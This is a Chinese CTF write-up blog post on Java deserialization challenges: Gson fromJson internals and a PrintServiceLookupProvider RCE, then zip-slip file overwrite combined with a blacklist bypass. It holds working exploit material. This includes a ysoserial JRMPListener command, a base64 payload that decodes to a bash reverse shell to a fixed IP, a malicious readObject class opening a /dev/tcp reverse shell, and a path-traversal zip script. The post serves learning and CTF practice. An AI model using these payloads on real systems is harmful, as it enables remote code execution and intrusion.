//创建一个远程对象的引用和调用处理程序,进行序列化写入,反序列化向VPS进行请求
byte[] bytes=byteArrayOutput.toByteArray();
String res = Base64.getEncoder().encodeToString(bytes);
System.out.println(res);
}
//java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 8081 Jackson1 "calc.exe" 起JRMP服务器
}
[N1CTF]Gson反序列化
Gson
是Google
提供的一个用于在Java
对象和JSON
数据之间进行序列化和反序列化的开源库。它可以帮助Java
开发者方便地将Java
对象转换为JSON
格式的数据,或者将JSON
数据转换为Java
对象。这使得在Java应用中处理JSON
数据变得非常简单。这也是我第一次在CTF
题中见到Gson
,所以得调试一下。
在调用fromJson
进行反序列化的实会,首先会通过TypeToken.get
获取泛型信息,应该是为了通过得到这个泛型信息,也就是类的信息,完成对应类的反序列化,这里指的是Person
类。
进入下一部分的fromJson
,判断传入的反序列化Json
是否为空,如果不为空,则通过字符串读取流读取信息,再调用另外的fromJson
方法。
创建了一个JsonReader
类用于逐步解析JSON
数据,这里JSONReader
默认设置lenient
是False
,也就是严格模式,不允许JSON
字符串有任何的不符合规范的偏差。
首先将lenient
设置为true
,变成了宽松模式,尝试从JsonReader
中读取下一个JSON
数据类型信息,然后通过getAdapter
获取到泛型信息typeOfT
的对应的适配器对象,这里可以看到typeAdapter
对象中有Person
类的构造器constructor
。
进入到read
方法中,会检查下一个JSON
流的标志是否为空,如果为空,则跳过null
值返回null
,这里为BEGIN_OBJECT
,为创建一个accumulator
累加器对象,用于累积要解析的JSON
数据。
在创造累加器的方法中,会拿到Person
类的构造方法,并执行newInstance
实例化构造函数,这里是无参的构造函数。
后面就是开始解析成Object
对象,循环遍历JSON
对象中的属性,从从映射中获取与属性名称匹配的字段,判断字段是否存在并已反序列化,是则跳过,不是则通过readField
读取字段的值,最终调用 finalize()
方法对累加器对象进行处理,并返回解析后的对象。
所以Gson
反序列化fromJson
恢复属性是通过反射匹配field
字段来设置值进行还原的,实现它会获取目标类的无参构造函数,并调用newInstance
来进行实例化类。
回到题目,题目代码很简短, 就是通过URL
输入还原的类名和一串Base64
字符串,然后还原成对象。如下:
前面所说的Json
反序列化能够进入类的无参构造
方法,如果存在一个类的无参构造方法能够直接进行RCE
,那么就可以打穿这题。
这里利用到的是提供打印和注册服务
的PrintServiceLookup
类,在它的无参构造如下:
public PrintServiceLookupProvider() {
if (pollServices) {
Thread thr = new Thread((ThreadGroup)null, new PrinterChangeListener(), "PrinterListener", 0L, false);
thr.setDaemon(true);
thr.start();
IPPPrintService.debug_println(debugPrefix + "polling turned on");
}
在PrinterChangeListener
中,会调用refreshServices
方法,而refreshServices
方法会调用getAllPrinterNamesBSD
,这个方法如下:
private String[] getAllPrinterNamesBSD() {
if (cmdIndex == -1) {
cmdIndex = getBSDCommandIndex();
}
String[] names = execCmd(this.lpcAllCom[cmdIndex]);
return names != null && names.length != 0 ? names : null;
}
只需要传入的参数是lpcAllCom
,控制里面为命令,那么就能进行命令执行,需要注意的是这个方法并没有继承反序列化,因为不能够用于原生反序列化,并且这种方法Windows
系统中JDK
是不一样的,题目环境是在JDK11
以上
payload
/api/sun.print.PrintServiceLookupProvider/eyJscGNBbGxDb20iOlsiL2Jpbi9iYXNoIC1jICAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzLjEzNy82NjY2IDA+JjEnIiwiL2Jpbi9iYXNoIC1jICAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzLjEzNy82NjY2IDA+JjEnIl19
zipfile文件覆盖+普通反序列化
关于zipEntry
漏洞的链接:zipEntry文件覆盖漏洞
题目中也存在着zip
的文件覆盖漏洞,是因为zipEntry.getName()
可控,导致了filename
能够被穿越导致的。
题目中定义了一个文件上传的接口和一个反序列化的接口
@PostMapping({"/upload"})
@ResponseBody
public Information upload(@RequestPart MultipartFile file) throws Exception {
Information information = new Information();
String allowed = ".*(\\.zip)$";
String filename = file.getOriginalFilename();
if (!Pattern.matches(allowed, filename)) {
information.status = 0;
information.text = "仅支持zip格式";
return information;
} else {
InputStream inputStream = file.getInputStream();
byte[] b = new byte[4];
inputStream.read(b, 0, b.length);
String header = Coding.bytesToHexString(b).toUpperCase();
if (!header.equals("504B0304")) {
information.status = 0;
information.text = "hacker!";
return information;
} else {
String filepath = this.path + "/" + filename;
File res = new File(filepath);
if (res.exists()) {
information.status = 0;
information.text = "文件已存在";
return information;
} else {
Files.copy(file.getInputStream(), res.toPath(), new CopyOption[0]);
String path = filepath.replace(".zip", "");
File dir = new File(path);
dir.mkdirs();
Unzip.unzip(res, information, path);
information.status = 1;
information.filename = filepath;
information.text = "上传成功";
return information;
}
}
}
}
@GetMapping({"/deserialize"})
public void deserialize(@RequestParam("b64str") String b64str) throws Exception {
byte[] serialized = Base64.getDecoder().decode(b64str);
ByteArrayInputStream bis = new ByteArrayInputStream(serialized);
SafeObjectInputStream ois = new SafeObjectInputStream(bis);
ois.readObject();
}
自定义了的反序列化器,禁用了仅有的能用的几个类。
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import java.util.HashSet;
import java.util.Set;
public class SafeObjectInputStream extends ObjectInputStream {
private static final Set<String> BLACKLIST = new HashSet();
public SafeObjectInputStream(InputStream is) throws Exception {
super(is);
}
protected Class<?> resolveClass(ObjectStreamClass input) throws IOException, ClassNotFoundException {
if (BLACKLIST.contains(input.getName())) {
throw new SecurityException("Hacker!!");
} else {
return super.resolveClass(input);
}
}
static {
BLACKLIST.add("com.fasterxml.jackson.databind.node.POJONode");
BLACKLIST.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
BLACKLIST.add("java.lang.Runtime");
BLACKLIST.add("java.security.SignedObject");
}
}
同时还使用了spring-security
对/admin
的路径进行了鉴权处理,但是却使用了actuator
暴露了heapdump
的接口,附件中给出的密码是假的,应该是可以从heapdump
中获取到密码,如果说这里还使用了WebFlux
,是可以通过CVE-2023-34034
绕过的。
这里通过springboot
文件泄露获取到密码,前面的某道题也有谈到,这里就不说了。后面事实上只需要通过将一个恶意的重写了readObject
的类文件覆盖到。
写一个恶意的类继承序列化接口:
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class attack implements Serializable {
private void readObject(ObjectInputStream objectInputStream) throws IOException, ClassNotFoundException {
objectInputStream.defaultReadObject();
Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "bash -i >& /dev/tcp/ip/port 0>&1"});
}
}
打包成zip包,上传进行任意文件覆盖,然后直接传入序列化该恶意的base64
字符串即可进行RCE。
import zipfile
if __name__ == "__main__":
try:
zipFile = zipfile.ZipFile("poc.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("poc.zip")
zipFile.write("./attack.class", "../../../usr/java/jdk-8/jre/lib/attack.class", zipfile.ZIP_DEFLATED)
zipFile.close()
except IOError as e:
raise e
文章标题:记几道JAVA题
文章链接:https://aiwin.fun/index.php/archives/4393/
最后编辑:2024 年 4 月 2 日 15:43 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)